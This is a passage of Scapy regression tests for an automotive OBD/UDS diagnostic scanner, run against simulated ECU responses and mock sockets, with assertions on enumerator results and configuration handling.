unit_and_scaling_id=36, test_value=2, min_limit=0, max_limit=65535)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=145, unit_and_scaling_id=177, test_value=3944, min_limit=900, max_limit=65534),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=149, unit_and_scaling_id=10, test_value=764.696, min_limit=719.556, max_limit=7995.27),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=150, unit_and_scaling_id=10, test_value=115.412, min_limit=0.0, max_limit=179.95)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=32)/OBD_MID20(supported_mids=2147485697)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=33)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=3, test_value=2.63, min_limit=1.0, max_limit=655.35)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=128, unit_and_scaling_id=28, test_value=32.42, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=129, unit_and_scaling_id=28, test_value=25.41, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=130, unit_and_scaling_id=28, test_value=0.21, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=28, test_value=0.0, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=134, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=135, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=64)/OBD_MID40(supported_mids=3221225473)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=65)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=22, test_value=720.0, min_limit=700.0, max_limit=6513.5)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=66)/OBD_MIDXX(standardized_test_id=144, unit_and_scaling_id=20, test_value=401, min_limit=0, max_limit=800)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=96)/OBD_MID60(supported_mids=1)])), EcuResponse(responses=OBD(service=71)/OBD_S07_PR(count=0)), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=0)/OBD_IID00(supported_iids=1430405120)])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=10)/OBD_IID0A(ecu_names=[b'ECM\x00-EngineControl\x00\x00'], count=1)])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=15)/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00HM0876')])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=18)/Raw(load=b'\x01\x00\xd5')])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=2)/OBD_IID02(vehicle_identification_numbers=[b'WDD1xxxxxxxxxxx11'], count=1)])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=4)/OBD_IID04(calibration_identifications=[b'282xxxxxxx300044', b'00090xxxxxx00031'], count=2)])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=6)/OBD_IID06(calibration_verification_numbers=[b'\xf9\x10\xb9\xfb', b'&6"e'], count=2)])), EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=8)/OBD_IID08(data=[9, 189, 8, 9, 0, 0, 8, 9, 0, 0, 22, 9, 0, 0, 0, 0, 8, 9, 0, 0], count=20)])), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=1, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=2, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=3, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=4, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=5, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=6, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=7, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=8, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=9, response_code=0x12)), EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=10, response_code=0x12))] + Simulate scanner = Run scanner with real world responses short scan sniff(timeout=0.001, opened_socket=[ecu, tester]) answering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 100, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: s = OBD_Scanner(tester, full_scan=False, timeout=1, retry_if_none_received=True) s.scan(timeout=100) tester.send(b"\xff\xff\xff") finally: sim.join(timeout=10) s.show_testcases() assert len(s.enumerators) == 8 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert s.enumerators[1].__class__ == OBD_S02_Enumerator assert s.enumerators[2].__class__ == OBD_S06_Enumerator assert s.enumerators[3].__class__ == OBD_S08_Enumerator assert s.enumerators[4].__class__ == OBD_S09_Enumerator assert s.enumerators[5].__class__ == OBD_S03_Enumerator assert s.enumerators[6].__class__ == OBD_S07_Enumerator assert s.enumerators[7].__class__ == OBD_S0A_Enumerator print(len(s.enumerators[0].results_with_response)) assert len(s.enumerators[0].results_with_response) == 33 # 32 pos resps + 1 NR assert len(s.enumerators[0].results_with_negative_response) == 1 assert len(s.enumerators[1].results_with_response) == 1 # 1 NR assert len(s.enumerators[1].results_with_negative_response) == 1 assert len(s.enumerators[2].results_with_response) == 18 # 17 pos resps + 1 NR assert len(s.enumerators[2].results_with_negative_response) == 1 assert len(s.enumerators[3].results_with_response) == 1 # 1 NR assert len(s.enumerators[3].results_with_negative_response) == 1 assert len(s.enumerators[4].results_with_response) == 9 # 8 pos resps + 1 NR assert len(s.enumerators[4].results_with_negative_response) == 1 assert len(s.enumerators[5].results_with_response) == 1 # 1 PR assert len(s.enumerators[6].results_with_response) == 1 # 1 PR assert len(s.enumerators[7].results_with_response) == 1 # 1 PR = Run scanner with real world responses full scan sniff(timeout=0.001, opened_socket=[ecu, tester]) answering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 100, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: s = OBD_Scanner(tester, full_scan=True, timeout=1, retry_if_none_received=True) s.scan(timeout=100) tester.send(b"\xff\xff\xff") finally: sim.join(timeout=10) s.show_testcases() assert len(s.enumerators) == 8 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert s.enumerators[1].__class__ == OBD_S02_Enumerator assert s.enumerators[2].__class__ == OBD_S06_Enumerator assert s.enumerators[3].__class__ == OBD_S08_Enumerator assert s.enumerators[4].__class__ == OBD_S09_Enumerator assert s.enumerators[5].__class__ == OBD_S03_Enumerator assert s.enumerators[6].__class__ == OBD_S07_Enumerator assert s.enumerators[7].__class__ == OBD_S0A_Enumerator assert len(s.enumerators[0].results_with_response) == 0x100 # 32 pos resps + 1 NR print( len(s.enumerators[0].results_with_negative_response)) assert len(s.enumerators[0].results_with_negative_response) == 0x100 - 32 print( len(s.enumerators[1].results_with_response)) assert len(s.enumerators[1].results_with_response) == 0x100 print( len(s.enumerators[1].results_with_negative_response)) assert len(s.enumerators[1].results_with_negative_response) == 0x100 assert len(s.enumerators[2].results_with_response) == 0x100 # 17 pos resps assert len(s.enumerators[2].results_with_negative_response) == 0x100 - 17 assert len(s.enumerators[3].results_with_response) == 0x100 assert len(s.enumerators[3].results_with_negative_response) == 0x100 assert len(s.enumerators[4].results_with_response) == 0x100 # 8 pos resps assert len(s.enumerators[4].results_with_negative_response) == 0x100 - 8 assert len(s.enumerators[5].results_with_response) == 1 # 1 PR assert len(s.enumerators[6].results_with_response) == 1 # 1 PR assert len(s.enumerators[7].results_with_response) == 1 # 1 PR = Run scanner only for Service 01 real world responses sniff(timeout=0.001, opened_socket=[ecu, tester]) answering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD) sim = threading.Thread(target=answering_machine, kwargs={"timeout": 100, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: s = OBD_Scanner(tester, test_cases=[OBD_S01_Enumerator], full_scan=False, retry_if_none_received=True, timeout=1) s.scan(timeout=100) tester.send(b"\xff\xff\xff") finally: sim.join(timeout=10) s.show_testcases() assert len(s.enumerators) == 1 assert s.enumerators[0].__class__ == OBD_S01_Enumerator assert len(s.enumerators[0].results_with_response) == 33 # 32 pos resps + 1 NR assert len(s.enumerators[0].results_with_negative_response) == 1 + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/scanner/configuration.uts ================================================ % Regression tests for automotive scanner configuration + Load general modules = Load contribution layer from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase from scapy.contrib.automotive.scanner.configuration import AutomotiveTestCaseExecutorConfiguration from scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase + Basic checks = Definition of Test classes class MyTestCase1(AutomotiveTestCase): _description = "MyTestCase1" def supported_responses(self): return [] class MyTestCase2(AutomotiveTestCase): _description = "MyTestCase2" def supported_responses(self): return [] class MyTestCase3(AutomotiveTestCase): _description = "MyTestCase3" def supported_responses(self): return [] class MyTestCase4(AutomotiveTestCase): _description = "MyTestCase4" def supported_responses(self): return [] = creation of config with classes config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase1, MyTestCase2, MyTestCase3, MyTestCase4]) assert len(config.test_cases) == 4 assert len(config.test_case_clss) == 4 assert len(config.stages) == 0 assert len(config.staged_test_cases) == 0 assert config.verbose == False assert config.debug == False = creation of config with instances config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase1(), MyTestCase2(), MyTestCase3(), MyTestCase4()]) assert len(config.test_cases) == 4 assert len(config.test_case_clss) == 4 assert len(config.stages) == 0 assert len(config.staged_test_cases) == 0 assert config.verbose == False assert config.debug == False = creation of config with instances and classes config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase2(), MyTestCase2(), MyTestCase3, MyTestCase4]) assert len(config.test_cases) == 4 assert len(config.test_case_clss) == 3 assert len(config.stages) == 0 assert len(config.staged_test_cases) == 0 assert config.verbose == False assert config.debug == False = creation of config with instances and classes and global configuration and local configuration config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase2(), MyTestCase2(), MyTestCase3, MyTestCase4], global_config=42, verbose=True, MyTestCase2_kwargs={"local_config": 41}) assert len(config.test_cases) == 4 assert len(config.test_case_clss) == 3 assert len(config.stages) == 0 assert len(config.staged_test_cases) == 0 assert config.verbose == True assert config.debug == False assert config["MyTestCase2"]["global_config"] == 42 assert config["MyTestCase2"]["local_config"] == 41 assert config["MyTestCase2"]["verbose"] == True try: print(config["MyTestCase1"]["global_config"]) raise AssertionError except KeyError: pass assert len(config["MyTestCase3"]) == 3 assert len(config["MyTestCase2"]) == 4 try: print(config["MyTestCase3"]["local_config"]) raise AssertionError except KeyError: pass = creation of config with stages st = StagedAutomotiveTestCase([MyTestCase1(), MyTestCase2()]) config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase2(), MyTestCase2, MyTestCase3, MyTestCase4, st]) assert len(config.test_cases) == 5 assert len(config.test_case_clss) == 5 assert len(config.stages) == 1 assert len(config.staged_test_cases) == 2 assert config.verbose == False assert config.debug == False assert config.staged_test_cases[0].__class__ == MyTestCase1 assert config.staged_test_cases[1].__class__ == MyTestCase2 assert config.stages[0].__class__ == StagedAutomotiveTestCase = creation of config with stages class class myStagedTestCase(StagedAutomotiveTestCase): def __init__(self): # type: () -> None super(myStagedTestCase, self).__init__( [MyTestCase1(), MyTestCase2()], None) config = AutomotiveTestCaseExecutorConfiguration( [MyTestCase2(), MyTestCase2, MyTestCase3, MyTestCase4, myStagedTestCase]) assert len(config.test_cases) == 5 assert len(config.test_case_clss) == 5 assert len(config.stages) == 1 assert len(config.staged_test_cases) == 2 assert config.staged_test_cases[0].__class__ == MyTestCase1 assert config.staged_test_cases[1].__class__ == MyTestCase2 assert config.stages[0].__class__ == myStagedTestCase assert config.verbose == False assert config.debug == False ================================================ FILE: test/contrib/automotive/scanner/enumerator.uts ================================================ % Regression tests for enumerators ~ linux + Load general modules = Load contribution layer from scapy.contrib.automotive.scanner.enumerator import _AutomotiveTestCaseScanResult, ServiceEnumerator, StateGenerator, StateGeneratingServiceEnumerator from scapy.contrib.automotive.scanner.test_case import TestCaseGenerator, AutomotiveTestCase from scapy.contrib.automotive.scanner.executor import AutomotiveTestCaseExecutor from scapy.contrib.isotp import ISOTP from scapy.contrib.automotive.uds import * from scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase from scapy.utils import SingleConversationSocket from scapy.contrib.automotive.ecu import EcuState, EcuResponse from scapy.contrib.automotive.uds_ecu_states import * import copy + Basic checks = ServiceEnumerator basecls checks pkts = [ _AutomotiveTestCaseScanResult(EcuState(session=1), UDS(b"\x20abcd"), UDS(b"\x60abcd"), 1.0, 1.9), _AutomotiveTestCaseScanResult(EcuState(session=2), UDS(b"\x20abcd"), None, 2.0, None), _AutomotiveTestCaseScanResult(EcuState(session=1), UDS(b"\x21abcd"), UDS(b"\x7fabcd"), 3.0, 3.1), _AutomotiveTestCaseScanResult(EcuState(session=2), UDS(b"\x21abcd"), UDS(b"\x7fa\x10cd"), 4.0, 4.5), ] class MyTestCase(ServiceEnumerator): _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'local_kwarg': ((int, str), None), 'verbose': (bool, None), 'global_arg': (str, None) }) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return UDS(service=range(1, 11)) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % (tup[1].service, tup[1].sprintf("%UDS.service%")) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], "PR: Supported") @staticmethod def _get_negative_response_label(response): # type: (Packet) -> str return response.sprintf("NR: %UDS_NR.negativeResponseCode%") @staticmethod def _get_negative_response_code(resp): # type: (Packet) -> int return resp.negativeResponseCode @staticmethod def _get_negative_response_desc(nrc): # type: (int) -> str return UDS_NR(negativeResponseCode=nrc).sprintf( "%UDS_NR.negativeResponseCode%") e = MyTestCase() for p in pkts: p.req.time = p.req_ts p.req.sent_time = p.req_ts if p.resp is not None: p.resp.time = p.resp_ts e._store_result(p.state, p.req, p.resp) = ServiceEnumerator not completed check assert e.completed == False = ServiceEnumerator completed e._state_completed[EcuState(session=1)] = True e._state_completed[EcuState(session=2)] = True assert e.completed = ServiceEnumerator stats check stat_list = e._compute_statistics() stats = {label: value for state, label, value in stat_list if state == "all"} print(stats) assert stats["num_answered"] == '3' assert stats["num_unanswered"] == '1' assert stats["answertime_max"] == '0.9' assert stats["answertime_min"] == '0.1' assert stats["answertime_avg"] == '0.5' assert stats["num_negative_resps"] == '2' = ServiceEnumerator scanned states assert len(e.scanned_states) == 2 assert {EcuState(session=1), EcuState(session=2)} == e.scanned_states = ServiceEnumerator scanned results assert len(e.results_with_positive_response) == 1 assert len(e.results_with_negative_response) == 2 assert len(e.results_without_response) == 1 assert len(e.results_with_response) == 3 = ServiceEnumerator get_label assert e._get_label(pkts[0].resp) == "PR: PositiveResponse" assert e._get_label(pkts[0].resp, lambda _: "positive") == "positive" assert e._get_label(pkts[0].resp, lambda _: "positive" + hex(pkts[0].req.service)) == "positive" + "0x20" assert e._get_label(pkts[1].resp) == "Timeout" assert e._get_label(pkts[2].resp) == "NR: 98" assert e._get_label(pkts[3].resp) == "NR: generalReject" = ServiceEnumerator show e.show(filtered=False) dump = e.show(dump=True, filtered=False) assert "NR: 98" in dump assert "NR: generalReject" in dump assert "PR: Supported" in dump assert "Timeout" in dump assert "session1" in dump assert "session2" in dump assert "0x20" in dump assert "0x21" in dump = ServiceEnumerator filtered results before show print(len(e.filtered_results)) assert len(e.filtered_results) == 2 assert e.filtered_results[0] == pkts[0] assert e.filtered_results[1] == pkts[2] = ServiceEnumerator show filtered e.show(filtered=True) dump = e.show(dump=True, filtered=True) assert "NR: 98" in dump assert "NR: generalReject" in dump assert "PR: Supported" in dump assert "Timeout" not in dump assert "session1" in dump assert "session2" in dump assert "all" in dump assert "0x20" in dump assert "0x21" in dump assert "The following negative response codes are blacklisted: ['serviceNotSupported']" in dump = ServiceEnumerator filtered results after show assert len(e.filtered_results) == 3 assert e.filtered_results[0] == pkts[0] assert e.filtered_results[1] == pkts[2] = ServiceEnumerator supported responses assert len(e.supported_responses) == 3 = ServiceEnumerator evaluate response conf = {} assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), None, **conf) assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x10"), **conf) conf = {"exit_if_service_not_supported": True, "retry_if_busy_returncode": False} assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x21"), **conf) assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x10"), **conf) assert True == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x11"), **conf) assert True == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x7f"), **conf) conf = {"exit_if_service_not_supported": False, "retry_if_busy_returncode": True} assert not e._retry_pkt[EcuState(session=1)] assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x10"), **conf) assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x11"), **conf) assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x7f"), **conf) assert not e._retry_pkt[EcuState(session=1)] assert True == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x21"), **conf) assert e._retry_pkt[EcuState(session=1)] == UDS(b"\x10\x03abcd") assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x7f\x10\x21"), **conf) assert not e._retry_pkt[EcuState(session=1)] assert True == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), UDS(b"\x50\x03\x00"), **conf) assert False == e._evaluate_response(EcuState(session=1), UDS(b"\x11\x03abcd"), UDS(b"\x51\x03\x00"), **conf) conf = {"retry_if_none_received": True} assert True == e._evaluate_response(EcuState(session=1), UDS(b"\x10\x03abcd"), None, **conf) assert e._retry_pkt[EcuState(session=1)] = ServiceEnumerator execute from queue import Queue from scapy.supersocket import SuperSocket class MockISOTPSocket(SuperSocket): nonblocking_socket = True @property def closed(self): return False @closed.setter def closed(self, var): pass def __init__(self, rcvd_queue=None): self.rcvd_queue = Queue() self.sent_queue = Queue() if rcvd_queue is not None: for c in rcvd_queue: self.rcvd_queue.put(c) def recv_raw(self, x=MTU): pkt = bytes(self.rcvd_queue.get(True, 0.01)) return UDS, pkt, 10.0 def send(self, x): sx = raw(x) try: x.sent_time = 9.0 except AttributeError: pass self.sent_queue.put(sx) return len(sx) @staticmethod def select(sockets, remain=None): time.sleep(0) return sockets def sr(self, *args, **kargs): from scapy import sendrecv return sendrecv.sndrcv(self, *args, threaded=False, **kargs) def sr1(self, *args, **kargs): from scapy import sendrecv ans = sendrecv.sndrcv(self, *args, threaded=False, **kargs)[0] # type: SndRcvList if len(ans) > 0: pkt = ans[0][1] # type: Packet return pkt else: return None sock = MockISOTPSocket() sock.rcvd_queue.put(b"\x41") sock.rcvd_queue.put(b"\x42") sock.rcvd_queue.put(b"\x43") sock.rcvd_queue.put(b"\x44") sock.rcvd_queue.put(b"\x45") sock.rcvd_queue.put(b"\x46") sock.rcvd_queue.put(b"\x47") sock.rcvd_queue.put(b"\x48") sock.rcvd_queue.put(b"\x49") sock.rcvd_queue.put(b"\x4A") e = MyTestCase() e.execute(sock, EcuState(session=1)) assert len(e.filtered_results) == 10 assert len(e.results_with_response) == 10 assert len(e.results_without_response) == 0 assert e.has_completed(EcuState(session=1)) assert e.completed e.execute(sock, EcuState(session=2), timeout=0.01) assert len(e.filtered_results) == 10 assert len(e.results_with_response) == 10 assert len(e.results_without_response) == 10 assert e.has_completed(EcuState(session=2)) e.execute(sock, EcuState(session=3), timeout=0.01, exit_if_no_answer_received=True) assert not e.has_completed(EcuState(session=3)) assert not e.completed assert len(e.scanned_states) == 3 e.execute(sock, EcuState(session=42), state_block_list=[EcuState(session=42)]) assert e.has_completed(EcuState(session=42)) assert len(e.scanned_states) == 3 e.execute(sock, EcuState(session=13), state_block_list=EcuState(session=13)) assert e.has_completed(EcuState(session=13)) assert len(e.scanned_states) == 3 e.execute(sock, EcuState(session=41), state_allow_list=[EcuState(session=42)]) assert e.has_completed(EcuState(session=41)) assert len(e.scanned_states) == 3 e.execute(sock, EcuState(session=12), state_allow_list=EcuState(session=13)) assert e.has_completed(EcuState(session=12)) assert len(e.scanned_states) == 3 = Test negative response code service not supported sock.rcvd_queue.put(b"\x7f\x01\x11") sock.rcvd_queue.put(b"\x7f\x01\x7f") e = MyTestCase() e.execute(sock, EcuState(session=1), exit_if_service_not_supported=True) assert not e._retry_pkt[EcuState(session=1)] assert len(e.results_with_response) == 1 assert len(e.results_with_negative_response) == 1 assert e.completed e.execute(sock, EcuState(session=2), exit_if_service_not_supported=True) assert not e._retry_pkt[EcuState(session=2)] assert len(e.results_with_response) == 2 assert len(e.results_with_negative_response) == 2 assert e.completed = Test negative response code retry if busy sock.rcvd_queue.put(b"\x7f\x01\x21") sock.rcvd_queue.put(b"\x7f\x01\x10") e = MyTestCase() e.execute(sock, EcuState(session=1)) assert e._retry_pkt[EcuState(session=1)] assert len(e.results_with_response) == 1 assert len(e.results_with_negative_response) == 1 assert len(e.results_without_response) == 0 assert not e.completed e.execute(sock, EcuState(session=1)) assert not e._retry_pkt[EcuState(session=1)] assert len(e.results_with_response) == 2 assert len(e.results_with_negative_response) == 2 assert len(e.results_without_response) == 9 assert e.completed assert e.has_completed(EcuState(session=1)) = Test negative response code don't retry if busy sock.rcvd_queue.put(b"\x7f\x01\x21") e = MyTestCase() e.execute(sock, EcuState(session=1), retry_if_busy_returncode=False) assert not e._retry_pkt[EcuState(session=1)] assert len(e.results_with_response) == 1 assert len(e.results_with_negative_response) == 1 assert len(e.results_without_response) == 9 assert e.completed assert e.has_completed(EcuState(session=1)) = Test execution time sock.rcvd_queue.put(b"\x7f\x01\x10") e = MyTestCase() e.execute(sock, EcuState(session=1), execution_time=-1) assert not e._retry_pkt[EcuState(session=1)] assert len(e.results_with_response) == 1 assert len(e.results_with_negative_response) == 1 assert len(e.results_without_response) == 0 assert not e.completed assert not e.has_completed(EcuState(session=1)) + AutomotiveTestCaseExecutorConfiguration tests = Definitions class MockSock(object): closed = False def sr1(self, *args, **kwargs): raise OSError class TestCase1(MyTestCase): pass class TestCase2(MyTestCase): pass class Scanner(AutomotiveTestCaseExecutor): @property def default_test_case_clss(self): # type: () -> List[Type[AutomotiveTestCaseABC]] return [MyTestCase] = Basic tests tce = Scanner(MockSock(), test_cases=[TestCase1, TestCase2, MyTestCase], verbose=True, debug=True, global_arg="Whatever", TestCase1_kwargs={"local_kwarg": 42}) config = tce.configuration # type: AutomotiveTestCaseExecutorConfiguration assert config.verbose assert config.debug assert len(config.test_cases) == 3 assert len(config.stages) == 0 assert len(config.staged_test_cases) == 0 assert len(config.test_case_clss) == 3 assert len(config.TestCase1.items()) == 5 assert len(config.TestCase2.items()) == 4 assert len(config["TestCase1"].items()) == 5 assert len(config.MyTestCase.items()) == 4 assert config.TestCase1["verbose"] assert config.TestCase1["debug"] assert config.TestCase1["local_kwarg"] == 42 assert config.TestCase1["global_arg"] == "Whatever" assert config.TestCase2["global_arg"] == "Whatever" assert config.MyTestCase["global_arg"] == "Whatever" assert isinstance(tce.socket, SingleConversationSocket) = Basic tests with default values tce = Scanner(MockSock()) config = tce.configuration # type: AutomotiveTestCaseExecutorConfiguration assert not config.verbose assert not config.debug assert len(config.test_cases) == 1 assert len(config.MyTestCase.items()) == 1 assert isinstance(tce.socket, SingleConversationSocket) = Basic test with stages def connector(testcase1, _): scan_range = len(testcase1.results) return {"verbose": True, "scan_range": scan_range} tc1 = TestCase1() tc2 = TestCase2() pipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector]) tce = Scanner(MockSock(), test_cases=[pipeline]) config = tce.configuration # type: AutomotiveTestCaseExecutorConfiguration assert not config.verbose assert not config.debug assert len(config.test_cases) == 1 assert len(config.stages) == 1 assert len(config.staged_test_cases) == 2 assert len(config.test_case_clss) == 3 assert len(config.StagedAutomotiveTestCase.items()) == 1 assert isinstance(tce.socket, SingleConversationSocket) = Basic tests with two stages def connector(testcase1, testcase2): scan_range = len(testcase1.results) return {"verbose": True, "scan_range": scan_range} tc1 = TestCase1() tc2 = TestCase2() pipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector]) class StagedTest(StagedAutomotiveTestCase): pass pipeline2 = StagedTest([MyTestCase(), MyTestCase()]) tce = Scanner(MockSock(), test_cases=[pipeline, pipeline2], verbose=True) config = tce.configuration # type: AutomotiveTestCaseExecutorConfiguration assert config.verbose assert not config.debug assert len(config.test_cases) == 2 assert len(config.stages) == 2 assert len(config.staged_test_cases) == 4 assert len(config.test_case_clss) == 5 assert len(config.StagedAutomotiveTestCase.items()) == 2 assert len(config.StagedTest.items()) == 2 assert len(config.TestCase1.items()) == 2 assert len(config.TestCase2.items()) == 2 assert len(config.MyTestCase.items()) == 2 assert isinstance(tce.socket, SingleConversationSocket) assert len(tce.state_paths) == 1 assert len(tce.final_states) == 1 tce.state_graph.add_edge((tce.final_states[0], EcuState(session=2))) assert len(tce.state_paths) == 2 assert len(tce.final_states) == 2 assert not tce.scan_completed = Reset Handler tests reset_flag = False def reset_func(): global reset_flag reset_flag = True tce = Scanner(MockSock(), reset_handler=reset_func) tce.target_state = EcuState(session=2) tce.reset_target() assert reset_flag assert tce.target_state == EcuState(session=1) = Reset Handler tests 2 tce = Scanner(MockSock()) tce.target_state = EcuState(session=2) tce.reset_target() assert tce.target_state == EcuState(session=1) = Reconnect Handler tests class MockSocket2: closed = False def reconnect_func(): return MockSocket2() tce = Scanner(MockSock(), reconnect_handler=reconnect_func) print(tce.socket) print(repr(tce.socket)) assert isinstance(tce.socket._inner, MockSock) tce.reconnect() assert isinstance(tce.socket._inner, MockSocket2) = Reconnect Handler tests 2 closed = False class MockSocket1: closed = False def close(self): global closed closed = True class MockSocket2: closed = False def reconnect_func(): return MockSocket2() tce = Scanner(MockSocket1(), reconnect_handler=reconnect_func) print(tce.socket) print(repr(tce.socket)) assert isinstance(tce.socket._inner, MockSocket1) tce.reconnect() assert isinstance(tce.socket._inner, MockSocket2) assert closed = TestCase execute pre_exec = False execute = False post_exec = False class TestCase42(MyTestCase): def pre_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None global pre_exec assert state == EcuState(session=1) assert global_configuration.TestCase42["local_kwarg"] == 42 assert global_configuration.TestCase42["verbose"] assert global_configuration.TestCase42["debug"] global_configuration.TestCase42["local_kwarg"] = 1 pre_exec = True def execute(self, socket, state, 